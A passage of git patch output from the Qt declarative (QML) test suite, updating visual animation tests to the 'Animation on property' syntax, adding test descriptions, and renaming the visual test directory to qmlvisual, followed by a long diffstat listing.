"655778bf13c6080903150b0eb43a7edc" } Frame { msec: 2352 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "72da0bbe81514870655fdd3354adac60" } Frame { msec: 2368 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "defe0bdf675c65fff55aaaced1e4dae7" } Frame { msec: 2384 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "c988628b6c3d3780e9a865c7694926cd" } Frame { msec: 2400 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "5ab17563655231089edd986ff13d6012" } Frame { msec: 2416 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "c1adff1d2e5800ed466d1691d3b17382" } Frame { msec: 2432 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "70129ba01fbb19592b9dc0d0a3b3e7df" } Frame { msec: 2448 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "0000829ef7ed908bf430d42904d59cc2" } Frame { msec: 2464 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "843d2927f50ab87b4a86b7a6aaeed91f" } Frame { msec: 2480 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "da86d21756025e7de8050586d5e2a1f8" } Frame { msec: 2496 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "48dd1bd6580133b0793fee327ea4f1e6" } Frame { msec: 2512 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "f0618193dcd0ba2837249515a1898b1c" } Frame { msec: 2528 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "a530184e57251065286c0cbba7301e9c" } Frame { msec: 2544 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "64a1d7203973d65dd342793007a61c58" } Frame { msec: 2560 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "5b830dfc6ba442772de87d75d5a578de" } Frame { msec: 2576 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "5563b056b0409b65f60dd16dd0dd890e" } Frame { msec: 2592 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "b8bcf9ad2ca8720c11563a23d8280804" } Frame { msec: 2608 @@ -931,7 +931,7 @@ VisualTest { Key { type: 6 key: 16777249 - modifiers: 0 + modifiers: 67108864 text: "" autorep: false count: 1 diff --git a/tests/auto/declarative/visual/animation/loop/loop.qml b/tests/auto/declarative/visual/animation/loop/loop.qml index 927e103..5389b26 100644 --- a/tests/auto/declarative/visual/animation/loop/loop.qml +++ b/tests/auto/declarative/visual/animation/loop/loop.qml @@ -13,7 +13,7 @@ Rectangle { to 100, jumps to 200, animates smoothly to 400, animates smoothly back to 100, jumps to 200, and so on. */ - x: SequentialAnimation { + SequentialAnimation on x { loops: Animation.Infinite NumberAnimation { to: 100; duration: 1000 } NumberAnimation { from: 200; to: 400; duration: 1000 } diff --git a/tests/auto/declarative/visual/animation/parentAnimation/parentAnimation.qml b/tests/auto/declarative/visual/animation/parentAnimation/parentAnimation.qml index 5db2cc6..8d0b375 100644 --- a/tests/auto/declarative/visual/animation/parentAnimation/parentAnimation.qml +++ b/tests/auto/declarative/visual/animation/parentAnimation/parentAnimation.qml @@ -1,4 +1,14 @@ import Qt 4.6 + +/* +This test shows a green rectangle moving and growing from the upper-left corner +of the black rectangle to the same position as the red rectangle (it should end up +the same height as the red rect and twice as wide). There should be no odd jumps or clipping seen. + +The test shows one full transition (to the red and back), then several partial transitions, and +then a final full transition. +*/ + Rectangle { width: 800; height: 480; diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml index 4562aa7..8830170 100644 --- a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml +++ b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml @@ -1,5 +1,12 @@ import Qt 4.6 +/* +This test shows a bouncing logo. +When the test starts the logo should be resting at the bottom. It should immediately move +to the top, and then fall down to bounce at the bottom. There should be a pause, and then +one repeat of the sequence. +*/ + Rectangle { id: rect width: 120 @@ -9,15 +16,15 @@ Rectangle { id: img source: "pics/qtlogo.png" x: 60-width/2 - y: 200-height - y: SequentialAnimation { + y: 100 + SequentialAnimation on y { loops: Animation.Infinite NumberAnimation { to: 0; duration: 500 easing.type: "InOutQuad" } NumberAnimation { - to: 200-img.height + to: 100 easing.type: "OutBounce" duration: 2000 } diff --git a/tests/auto/declarative/visual/focusscope/test3.qml b/tests/auto/declarative/visual/focusscope/test3.qml index 855bdc5..a8bb523 100644 --- a/tests/auto/declarative/visual/focusscope/test3.qml +++ b/tests/auto/declarative/visual/focusscope/test3.qml @@ -5,7 +5,7 @@ Rectangle { width: 800 height: 600 - Listmodel { + ListModel { id: model ListElement { name: "1" } ListElement { name: "2" } diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml index c3006d5..58d03a6 100644 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml +++ b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml @@ -18,13 +18,13 @@ Item { BorderImage { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 - width: SequentialAnimation { + SequentialAnimation on width { loops: Animation.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } - height: SequentialAnimation { + SequentialAnimation on height { loops: Animation.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml index 99a9973..121328b 100644 --- a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml +++ b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml @@ -6,7 +6,7 @@ Rectangle { Rectangle { id: rect width: 50; height: 20; y: 30; color: "black" - x: SequentialAnimation { + SequentialAnimation on x { loops: Animation.Infinite NumberAnimation { from: 50; to: 700; duration: 2000 } NumberAnimation { from: 700; to: 50; duration: 2000 } @@ -15,26 +15,26 @@ Rectangle { Rectangle { width: 50; height: 20; y: 60; color: "red" - x: EaseFollow { source: rect.x; velocity: 400 } + EaseFollow on x { source: rect.x; velocity: 400 } } Rectangle { width: 50; height: 20; y: 90; color: "yellow" - x: EaseFollow { source: rect.x; velocity: 300; reversingMode: EaseFollow.Immediate } + EaseFollow on x { source: rect.x; velocity: 300; reversingMode: EaseFollow.Immediate } } Rectangle { width: 50; height: 20; y: 120; color: "green" - x: EaseFollow { source: rect.x; reversingMode: EaseFollow.Sync } + EaseFollow on x { source: rect.x; reversingMode: EaseFollow.Sync } } Rectangle { width: 50; height: 20; y: 150; color: "purple" - x: EaseFollow { source: rect.x; maximumEasingTime: 200 } + EaseFollow on x { source: rect.x; maximumEasingTime: 200 } } Rectangle { width: 50; height: 20; y: 180; color: "blue" - x: EaseFollow { source: rect.x; duration: 300 } + EaseFollow on x { source: rect.x; duration: 300 } } } diff --git a/tests/auto/declarative/visual/qdeclarativegridview/gridview2.qml b/tests/auto/declarative/visual/qdeclarativegridview/gridview2.qml index 81d06cf..f4fb863 100644 --- a/tests/auto/declarative/visual/qdeclarativegridview/gridview2.qml +++ b/tests/auto/declarative/visual/qdeclarativegridview/gridview2.qml @@ -49,8 +49,8 @@ Rectangle { Rectangle { color: "transparent"; border.color: "white"; border.width: 8; z: 3000 height: 100; width: 100; x: 4; y: 4 - x: EaseFollow { source: gridView.currentItem.x; velocity: 500 } - y: EaseFollow { source: gridView.currentItem.y; velocity: 500 } + EaseFollow on x { source: gridView.currentItem.x; velocity: 500 } + EaseFollow on y { source: gridView.currentItem.y; velocity: 500 } } ] } diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/clock.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/clock.qml index 04bbabc..21bbc7f 100644 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/clock.qml +++ b/tests/auto/declarative/visual/qdeclarativespringfollow/clock.qml @@ -23,7 +23,7 @@ Rectangle { transform: Rotation { id: hourRotation origin.x: 7.5; origin.y: 73; angle: 0 - angle: SpringFollow { + SpringFollow on angle { spring: 2; damping: 0.2; modulus: 360 source: (clock.hours * 30) + (clock.minutes * 0.5) } @@ -37,7 +37,7 @@ Rectangle { transform: Rotation { id: minuteRotation origin.x: 6.5; origin.y: 83; angle: 0 - angle: SpringFollow { + SpringFollow on angle { spring: 2; damping: 0.2; modulus: 360 source: clock.minutes * 6 } @@ -51,7 +51,7 @@ Rectangle { transform: Rotation { id: secondRotation origin.x: 2.5; origin.y: 80; angle: 0 - angle: SpringFollow { + SpringFollow on angle { spring: 5; damping: 0.25; modulus: 360 source: clock.seconds * 6 } diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml index e9c94c7..1659bb7 100644 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml +++ b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml @@ -7,7 +7,7 @@ Rectangle { id: rect color: "#00ff00" y: 200; width: 60; height: 20 - y: SequentialAnimation { + SequentialAnimation on y { loops: Animation.Infinite NumberAnimation { to: 20; duration: 500 @@ -26,7 +26,7 @@ Rectangle { color: "#ff0000" x: rect.width; width: rect.width; height: 20 y: 200 - y: SpringFollow { source: rect.y; velocity: 200 } + SpringFollow on y { source: rect.y; velocity: 200 } } // Spring @@ -34,13 +34,13 @@ Rectangle { color: "#ff0000" x: rect.width * 2; width: rect.width/2; height: 20 y: 200 - y: SpringFollow { source: rect.y; spring: 1.0; damping: 0.2 } + SpringFollow on y { source: rect.y; spring: 1.0; damping: 0.2 } } Rectangle { color: "#880000" x: rect.width * 2.5; width: rect.width/2; height: 20 y: 200 - y: SpringFollow { source: rect.y; spring: 1.0; damping: 0.2; mass: 3.0 } // "heavier" object + SpringFollow on y { source: rect.y; spring: 1.0; damping: 0.2; mass: 3.0 } // "heavier" object } // Follow mouse @@ -52,8 +52,8 @@ Rectangle { width: 20; height: 20 radius: 10 color: "#0000ff" - x: SpringFollow { id: f1; source: mouseRegion.mouseX-10; spring: 1.0; damping: 0.05; epsilon: 0.25 } - y: SpringFollow { id: f2; source: mouseRegion.mouseY-10; spring: 1.0; damping: 0.05; epsilon: 0.25 } + SpringFollow on x { id: f1; source: mouseRegion.mouseX-10; spring: 1.0; damping: 0.05; epsilon: 0.25 } + SpringFollow on y { id: f2; source: mouseRegion.mouseY-10; spring: 1.0; damping: 0.05; epsilon: 0.25 } states: [ State { name: "following" diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml index 199f71f..09f16ab 100644 --- a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml @@ -3,17 +3,17 @@ import Qt 4.6 resources: [ Component { id: cursorA Item { id: cPage; - x: Behavior { NumberAnimation { } } - y: Behavior { NumberAnimation { } } - height: Behavior { NumberAnimation { duration: 200 } } + Behavior on x { NumberAnimation { } } + Behavior on y { NumberAnimation { } } + Behavior on height { NumberAnimation { duration: 200 } } Rectangle { id: cRectangle; color: "black"; y: 1; width: 1; height: parent.height-2; Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; - NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} - NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} - } + SequentialAnimation on opacity { running: cPage.parent.focus == true; loops: Animation.Infinite; + NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} + NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} + } } width: 1; } diff --git a/tests/auto/declarative/visual/webview/zooming/renderControl.qml b/tests/auto/declarative/visual/webview/zooming/renderControl.qml index bcbcf5c..52a569e 100644 --- a/tests/auto/declarative/visual/webview/zooming/renderControl.qml +++ b/tests/auto/declarative/visual/webview/zooming/renderControl.qml @@ -9,7 +9,7 @@ Rectangle { id: webview width: 400 url: "renderControl.html" - x: SequentialAnimation { + SequentialAnimation on x { loops: Animation.Infinite NumberAnimation { from: 100; to: 0; duration: 200 } PropertyAction { target: webview; property: "renderingEnabled"; value: false } diff --git a/tests/auto/declarative/visual/webview/zooming/resolution.qml b/tests/auto/declarative/visual/webview/zooming/resolution.qml index bce6744..d6c35d4 100644 --- a/tests/auto/declarative/visual/webview/zooming/resolution.qml +++ b/tests/auto/declarative/visual/webview/zooming/resolution.qml @@ -6,12 +6,11 @@ WebView { height: 250 * zoomFactor scale: 1/zoomFactor url: "resolution.html" - zoomFactor: - SequentialAnimation { - loops: Animation.Infinite - NumberAnimation { from: 1; to: 0.25; duration: 2000 } - NumberAnimation { from: 0.25; to: 1; duration: 2000 } - NumberAnimation { from: 1; to: 5; duration: 2000 } - NumberAnimation { from: 5; to: 1; duration: 2000 } - } + SequentialAnimation on zoomFactor { + loops: Animation.Infinite + NumberAnimation { from: 1; to: 0.25; duration: 2000 } + NumberAnimation { from: 0.25; to: 1; duration: 2000 } + NumberAnimation { from: 1; to: 5; duration: 2000 } + NumberAnimation { from: 5; to: 1; duration: 2000 } + } } diff --git a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml index 6d51c8a..741450f 100644 --- a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml +++ b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml @@ -6,10 +6,9 @@ WebView { height: 250 url: "zoomTextOnly.html" settings.zoomTextOnly: true - zoomFactor: - SequentialAnimation { - loops: Animation.Infinite - NumberAnimation { from: 2; to: 0.25; duration: 1000 } - NumberAnimation { from: 0.25; to: 2; duration: 1000 } - } + SequentialAnimation on zoomFactor { + loops: Animation.Infinite + NumberAnimation { from: 2; to: 0.25; duration: 1000 } + NumberAnimation { from: 0.25; to: 2; duration: 1000 } + } } diff --git a/tests/auto/declarative/visual/webview/zooming/zooming.qml b/tests/auto/declarative/visual/webview/zooming/zooming.qml index 9f0b865..adbd7a5 100644 --- a/tests/auto/declarative/visual/webview/zooming/zooming.qml +++ b/tests/auto/declarative/visual/webview/zooming/zooming.qml @@ -7,9 +7,9 @@ import org.webkit 1.0 WebView { width: 200 height: 250 - x: Behavior { NumberAnimation { } } - y: Behavior { NumberAnimation { } } - scale: Behavior { NumberAnimation { } } + Behavior on x { NumberAnimation { } } + Behavior on y { NumberAnimation { } } + Behavior on scale { NumberAnimation { } } url: "zooming.html" preferredWidth: width preferredHeight: height -- cgit v0.12 From d81e74a5d40202ce17d31f71ae953a19ed7191dd Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 26 Mar 2010 16:03:37 +1000 Subject: Rename visual test to qmlvisual. --- .../auto/declarative/qmlvisual/ListView/basic1.qml | 27 + .../auto/declarative/qmlvisual/ListView/basic2.qml | 31 + .../auto/declarative/qmlvisual/ListView/basic3.qml | 29 + .../auto/declarative/qmlvisual/ListView/basic4.qml | 33 + .../qmlvisual/ListView/data-MAC/basic1.qml | 159 + .../qmlvisual/ListView/data-MAC/basic2.qml | 187 + .../qmlvisual/ListView/data-MAC/basic3.qml | 147 + .../qmlvisual/ListView/data-MAC/basic4.qml | 171 + .../qmlvisual/ListView/data-MAC/itemlist.0.png | Bin 0 -> 961 bytes .../qmlvisual/ListView/data-MAC/itemlist.1.png | Bin 0 -> 972 bytes .../qmlvisual/ListView/data-MAC/itemlist.2.png | Bin 0 -> 962 bytes .../qmlvisual/ListView/data-MAC/itemlist.3.png | Bin 0 -> 962 bytes .../qmlvisual/ListView/data-MAC/itemlist.4.png | Bin 0 -> 962 bytes .../qmlvisual/ListView/data-MAC/itemlist.5.png | Bin 0 -> 970 bytes .../qmlvisual/ListView/data-MAC/itemlist.6.png | Bin 0 -> 961 bytes .../qmlvisual/ListView/data-MAC/itemlist.qml | 2203 ++++++ .../qmlvisual/ListView/data-MAC/listview.0.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data-MAC/listview.1.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data-MAC/listview.10.png | Bin 0 -> 1588 bytes .../qmlvisual/ListView/data-MAC/listview.11.png | Bin 0 -> 1575 bytes .../qmlvisual/ListView/data-MAC/listview.12.png | Bin 0 -> 1502 bytes .../qmlvisual/ListView/data-MAC/listview.13.png | Bin 0 -> 1583 bytes .../qmlvisual/ListView/data-MAC/listview.14.png | Bin 0 -> 1681 bytes .../qmlvisual/ListView/data-MAC/listview.15.png | Bin 0 -> 1524 bytes .../qmlvisual/ListView/data-MAC/listview.16.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data-MAC/listview.17.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data-MAC/listview.18.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data-MAC/listview.19.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data-MAC/listview.2.png | Bin 0 -> 1627 bytes .../qmlvisual/ListView/data-MAC/listview.3.png | Bin 0 -> 1524 bytes .../qmlvisual/ListView/data-MAC/listview.4.png | Bin 0 -> 1678 bytes .../qmlvisual/ListView/data-MAC/listview.5.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data-MAC/listview.6.png | Bin 0 -> 1573 bytes .../qmlvisual/ListView/data-MAC/listview.7.png | Bin 0 -> 1670 bytes .../qmlvisual/ListView/data-MAC/listview.8.png | Bin 0 -> 1658 bytes .../qmlvisual/ListView/data-MAC/listview.9.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data-MAC/listview.qml | 3079 +++++++++ .../qmlvisual/ListView/data-X11/basic1.qml | 159 + .../qmlvisual/ListView/data-X11/basic2.qml | 187 + .../qmlvisual/ListView/data-X11/basic3.qml | 147 + .../qmlvisual/ListView/data-X11/basic4.qml | 171 + .../declarative/qmlvisual/ListView/data/basic1.qml | 159 + .../declarative/qmlvisual/ListView/data/basic2.qml | 187 + .../declarative/qmlvisual/ListView/data/basic3.qml | 147 + .../declarative/qmlvisual/ListView/data/basic4.qml | 171 + .../qmlvisual/ListView/data/itemlist.0.png | Bin 0 -> 961 bytes .../qmlvisual/ListView/data/itemlist.1.png | Bin 0 -> 972 bytes .../qmlvisual/ListView/data/itemlist.2.png | Bin 0 -> 962 bytes .../qmlvisual/ListView/data/itemlist.3.png | Bin 0 -> 962 bytes .../qmlvisual/ListView/data/itemlist.4.png | Bin 0 -> 962 bytes .../qmlvisual/ListView/data/itemlist.5.png | Bin 0 -> 970 bytes .../qmlvisual/ListView/data/itemlist.6.png | Bin 0 -> 961 bytes .../qmlvisual/ListView/data/itemlist.qml | 2203 ++++++ .../qmlvisual/ListView/data/listview.0.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data/listview.1.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data/listview.10.png | Bin 0 -> 1588 bytes .../qmlvisual/ListView/data/listview.11.png | Bin 0 -> 1575 bytes .../qmlvisual/ListView/data/listview.12.png | Bin 0 -> 1502 bytes .../qmlvisual/ListView/data/listview.13.png | Bin 0 -> 1583 bytes .../qmlvisual/ListView/data/listview.14.png | Bin 0 -> 1681 bytes .../qmlvisual/ListView/data/listview.15.png | Bin 0 -> 1524 bytes .../qmlvisual/ListView/data/listview.16.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data/listview.17.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data/listview.18.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data/listview.19.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data/listview.2.png | Bin 0 -> 1656 bytes .../qmlvisual/ListView/data/listview.3.png | Bin 0 -> 1524 bytes .../qmlvisual/ListView/data/listview.4.png | Bin 0 -> 1678 bytes .../qmlvisual/ListView/data/listview.5.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data/listview.6.png | Bin 0 -> 1573 bytes .../qmlvisual/ListView/data/listview.7.png | Bin 0 -> 1669 bytes .../qmlvisual/ListView/data/listview.8.png | Bin 0 -> 1658 bytes .../qmlvisual/ListView/data/listview.9.png | Bin 0 -> 1510 bytes .../qmlvisual/ListView/data/listview.qml | 3079 +++++++++ .../declarative/qmlvisual/ListView/itemlist.qml | 40 + .../declarative/qmlvisual/ListView/listview.qml | 81 + .../Package_Views/data/packageviews.0.png | Bin 0 -> 714 bytes .../Package_Views/data/packageviews.1.png | Bin 0 -> 798 bytes .../Package_Views/data/packageviews.10.png | Bin 0 -> 773 bytes .../Package_Views/data/packageviews.11.png | Bin 0 -> 773 bytes .../Package_Views/data/packageviews.12.png | Bin 0 -> 754 bytes .../Package_Views/data/packageviews.13.png | Bin 0 -> 742 bytes .../Package_Views/data/packageviews.14.png | Bin 0 -> 733 bytes .../Package_Views/data/packageviews.15.png | Bin 0 -> 712 bytes .../Package_Views/data/packageviews.16.png | Bin 0 -> 730 bytes .../Package_Views/data/packageviews.17.png | Bin 0 -> 730 bytes .../Package_Views/data/packageviews.18.png | Bin 0 -> 730 bytes .../Package_Views/data/packageviews.19.png | Bin 0 -> 744 bytes .../Package_Views/data/packageviews.2.png | Bin 0 -> 757 bytes .../Package_Views/data/packageviews.20.png | Bin 0 -> 754 bytes .../Package_Views/data/packageviews.21.png | Bin 0 -> 721 bytes .../Package_Views/data/packageviews.22.png | Bin 0 -> 732 bytes .../Package_Views/data/packageviews.3.png | Bin 0 -> 813 bytes .../Package_Views/data/packageviews.4.png | Bin 0 -> 756 bytes .../Package_Views/data/packageviews.5.png | Bin 0 -> 752 bytes .../Package_Views/data/packageviews.6.png | Bin 0 -> 752 bytes .../Package_Views/data/packageviews.7.png | Bin 0 -> 774 bytes .../Package_Views/data/packageviews.8.png | Bin 0 -> 774 bytes .../Package_Views/data/packageviews.9.png | Bin 0 -> 754 bytes .../qmlvisual/Package_Views/data/packageviews.qml | 3751 +++++++++++ .../qmlvisual/Package_Views/packageviews.qml | 89 + .../bindinganimation/bindinganimation.qml | 40 + .../bindinganimation/data/bindinganimation.0.png | Bin 0 -> 817 bytes .../bindinganimation/data/bindinganimation.1.png | Bin 0 -> 815 bytes .../bindinganimation/data/bindinganimation.2.png | Bin 0 -> 817 bytes .../bindinganimation/data/bindinganimation.3.png | Bin 0 -> 815 bytes .../bindinganimation/data/bindinganimation.4.png | Bin 0 -> 813 bytes .../bindinganimation/data/bindinganimation.5.png | Bin 0 -> 815 bytes .../bindinganimation/data/bindinganimation.6.png | Bin 0 -> 817 bytes .../bindinganimation/data/bindinganimation.qml | 1655 +++++ .../animation/colorAnimation/colorAnimation.qml | 41 + .../colorAnimation/data/colorAnimation.0.png | Bin 0 -> 627 bytes .../colorAnimation/data/colorAnimation.1.png | Bin 0 -> 626 bytes .../colorAnimation/data/colorAnimation.2.png | Bin 0 -> 625 bytes .../colorAnimation/data/colorAnimation.qml | 951 +++ .../qmlvisual/animation/easing/data/easing.0.png | Bin 0 -> 3393 bytes .../qmlvisual/animation/easing/data/easing.1.png | Bin 0 -> 3381 bytes .../qmlvisual/animation/easing/data/easing.2.png | Bin 0 -> 3101 bytes .../qmlvisual/animation/easing/data/easing.3.png | Bin 0 -> 16542 bytes .../qmlvisual/animation/easing/data/easing.qml | 779 +++ .../qmlvisual/animation/easing/easing.qml | 193 + .../qmlvisual/animation/easing/pics/qtlogo.png | Bin 0 -> 2738 bytes .../qmlvisual/animation/loop/data/loop.0.png | Bin 0 -> 508 bytes .../qmlvisual/animation/loop/data/loop.1.png | Bin 0 -> 507 bytes .../qmlvisual/animation/loop/data/loop.2.png | Bin 0 -> 508 bytes .../qmlvisual/animation/loop/data/loop.3.png | Bin 0 -> 508 bytes .../qmlvisual/animation/loop/data/loop.4.png | Bin 0 -> 505 bytes .../qmlvisual/animation/loop/data/loop.5.png | Bin 0 -> 508 bytes .../qmlvisual/animation/loop/data/loop.qml | 1471 ++++ .../declarative/qmlvisual/animation/loop/loop.qml | 24 + .../parallelAnimation/data/parallelAnimation.0.png | Bin 0 -> 774 bytes .../parallelAnimation/data/parallelAnimation.1.png | Bin 0 -> 762 bytes .../parallelAnimation/data/parallelAnimation.2.png | Bin 0 -> 773 bytes .../parallelAnimation/data/parallelAnimation.qml | 463 ++ .../parallelAnimation/parallelAnimation.qml | 43 + .../parentAnimation/data/parentAnimation.0.png | Bin 0 -> 3742 bytes .../parentAnimation/data/parentAnimation.1.png | Bin 0 -> 3727 bytes .../parentAnimation/data/parentAnimation.2.png | Bin 0 -> 3742 bytes .../parentAnimation/data/parentAnimation.3.png | Bin 0 -> 3628 bytes .../parentAnimation/data/parentAnimation.4.png | Bin 0 -> 3610 bytes .../parentAnimation/data/parentAnimation.5.png | Bin 0 -> 3742 bytes .../parentAnimation/data/parentAnimation.qml | 1663 +++++ .../animation/parentAnimation/parentAnimation.qml | 68 + .../pauseAnimation/data/pauseAnimation.0.png | Bin 0 -> 3211 bytes .../pauseAnimation/data/pauseAnimation.1.png | Bin 0 -> 3214 bytes .../pauseAnimation/data/pauseAnimation.2.png | Bin 0 -> 3209 bytes .../pauseAnimation/data/pauseAnimation.3.png | Bin 0 -> 3211 bytes .../pauseAnimation/data/pauseAnimation.4.png | Bin 0 -> 3214 bytes .../pauseAnimation/data/pauseAnimation.5.png | Bin 0 -> 3214 bytes .../pauseAnimation/data/pauseAnimation.qml | 1619 +++++ .../animation/pauseAnimation/pauseAnimation.qml | 36 + .../animation/pauseAnimation/pics/qtlogo.png | Bin 0 -> 2738 bytes .../propertyAction/data/propertyAction.0.png | Bin 0 -> 1418 bytes .../propertyAction/data/propertyAction.1.png | Bin 0 -> 1430 bytes .../propertyAction/data/propertyAction.2.png | Bin 0 -> 1431 bytes .../propertyAction/data/propertyAction.qml | 939 +++ .../animation/propertyAction/propertyAction.qml | 34 + .../animation/reanchor/data/reanchor.0.png | Bin 0 -> 637 bytes .../animation/reanchor/data/reanchor.1.png | Bin 0 -> 642 bytes .../animation/reanchor/data/reanchor.2.png | Bin 0 -> 637 bytes .../animation/reanchor/data/reanchor.3.png | Bin 0 -> 637 bytes .../animation/reanchor/data/reanchor.4.png | Bin 0 -> 647 bytes .../animation/reanchor/data/reanchor.5.png | Bin 0 -> 637 bytes .../animation/reanchor/data/reanchor.6.png | Bin 0 -> 637 bytes .../animation/reanchor/data/reanchor.7.png | Bin 0 -> 637 bytes .../animation/reanchor/data/reanchor.8.png | Bin 0 -> 642 bytes .../qmlvisual/animation/reanchor/data/reanchor.qml | 2471 +++++++ .../qmlvisual/animation/reanchor/reanchor.qml | 69 + .../animation/scriptAction/data/scriptAction.0.png | Bin 0 -> 1418 bytes .../animation/scriptAction/data/scriptAction.1.png | Bin 0 -> 1431 bytes .../animation/scriptAction/data/scriptAction.qml | 535 ++ .../animation/scriptAction/scriptAction.qml | 35 + .../qmlvisual/fillmode/data/fillmode.0.png | Bin 0 -> 26099 bytes .../qmlvisual/fillmode/data/fillmode.qml | 279 + tests/auto/declarative/qmlvisual/fillmode/face.png | Bin 0 -> 905 bytes .../declarative/qmlvisual/fillmode/fillmode.qml | 16 + .../qmlvisual/focusscope/data-MAC/test.0.png | Bin 0 -> 14875 bytes .../qmlvisual/focusscope/data-MAC/test.1.png | Bin 0 -> 14875 bytes .../qmlvisual/focusscope/data-MAC/test.2.png | Bin 0 -> 14863 bytes .../qmlvisual/focusscope/data-MAC/test.3.png | Bin 0 -> 14877 bytes .../qmlvisual/focusscope/data-MAC/test.4.png | Bin 0 -> 14877 bytes .../qmlvisual/focusscope/data-MAC/test.5.png | Bin 0 -> 14877 bytes .../qmlvisual/focusscope/data-MAC/test.qml | 1599 +++++ .../qmlvisual/focusscope/data-MAC/test2.0.png | Bin 0 -> 5375 bytes .../qmlvisual/focusscope/data-MAC/test2.1.png | Bin 0 -> 5375 bytes .../qmlvisual/focusscope/data-MAC/test2.qml | 607 ++ .../qmlvisual/focusscope/data-MAC/test3.0.png | Bin 0 -> 12749 bytes .../qmlvisual/focusscope/data-MAC/test3.1.png | Bin 0 -> 12667 bytes .../qmlvisual/focusscope/data-MAC/test3.2.png | Bin 0 -> 12373 bytes .../qmlvisual/focusscope/data-MAC/test3.3.png | Bin 0 -> 12150 bytes .../qmlvisual/focusscope/data-MAC/test3.4.png | Bin 0 -> 11944 bytes .../qmlvisual/focusscope/data-MAC/test3.5.png | Bin 0 -> 12150 bytes .../qmlvisual/focusscope/data-MAC/test3.6.png | Bin 0 -> 12373 bytes .../qmlvisual/focusscope/data-MAC/test3.7.png | Bin 0 -> 12667 bytes .../qmlvisual/focusscope/data-MAC/test3.8.png | Bin 0 -> 12749 bytes .../qmlvisual/focusscope/data-MAC/test3.9.png | Bin 0 -> 12710 bytes .../qmlvisual/focusscope/data-MAC/test3.qml | 2879 ++++++++ .../qmlvisual/focusscope/data-X11/test.0.png | Bin 0 -> 11501 bytes .../qmlvisual/focusscope/data-X11/test.1.png | Bin 0 -> 11501 bytes .../qmlvisual/focusscope/data-X11/test.2.png | Bin 0 -> 11486 bytes 